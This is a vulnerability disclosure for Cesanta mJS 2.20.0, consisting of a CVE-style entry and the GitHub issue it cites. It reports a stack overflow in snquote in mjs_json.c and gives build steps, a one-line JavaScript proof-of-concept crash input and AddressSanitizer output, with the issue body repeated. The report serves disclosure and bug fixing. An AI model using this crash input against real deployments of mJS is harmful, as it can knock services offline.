Cesanta MJS v2.20.0 was discovered to contain a stack overflow via snquote at mjs/src/mjs_json.c.
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==61262==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc3387c0b8 (pc 0x00000057a83c bp 0x7ffc338787d0 sp 0x7ffc33878338 T0)
    #0 0x57a83b in snquote /root/mjs/src/mjs_json.c:102:7
    #1 0x57a83b in to_json_or_debug /root/mjs/src/mjs_json.c:167
    #2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #5 0x7f82916bcb96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

SUMMARY: AddressSanitizer: stack-overflow /root/mjs/src/mjs_json.c:102:7 in snquote
==61262==ABORTING
```
Credits: Found by OWL337 team.

Stack-overflow  mjs/src/mjs_json.c:102:7 in snquote
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : Stack-overflow  mjs/src/mjs_json.c:102:7 in snquote
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build steps

```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==61262==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc3387c0b8 (pc 0x00000057a83c bp 0x7ffc338787d0 sp 0x7ffc33878338 T0)
    #0 0x57a83b in snquote /root/mjs/src/mjs_json.c:102:7
    #1 0x57a83b in to_json_or_debug /root/mjs/src/mjs_json.c:167
    #2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #5 0x7f82916bcb96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

SUMMARY: AddressSanitizer: stack-overflow /root/mjs/src/mjs_json.c:102:7 in snquote
==61262==ABORTING
```
Credits: Found by OWL337 team.

--- end body ---

comments :
--- start comments ---

--- end comments ---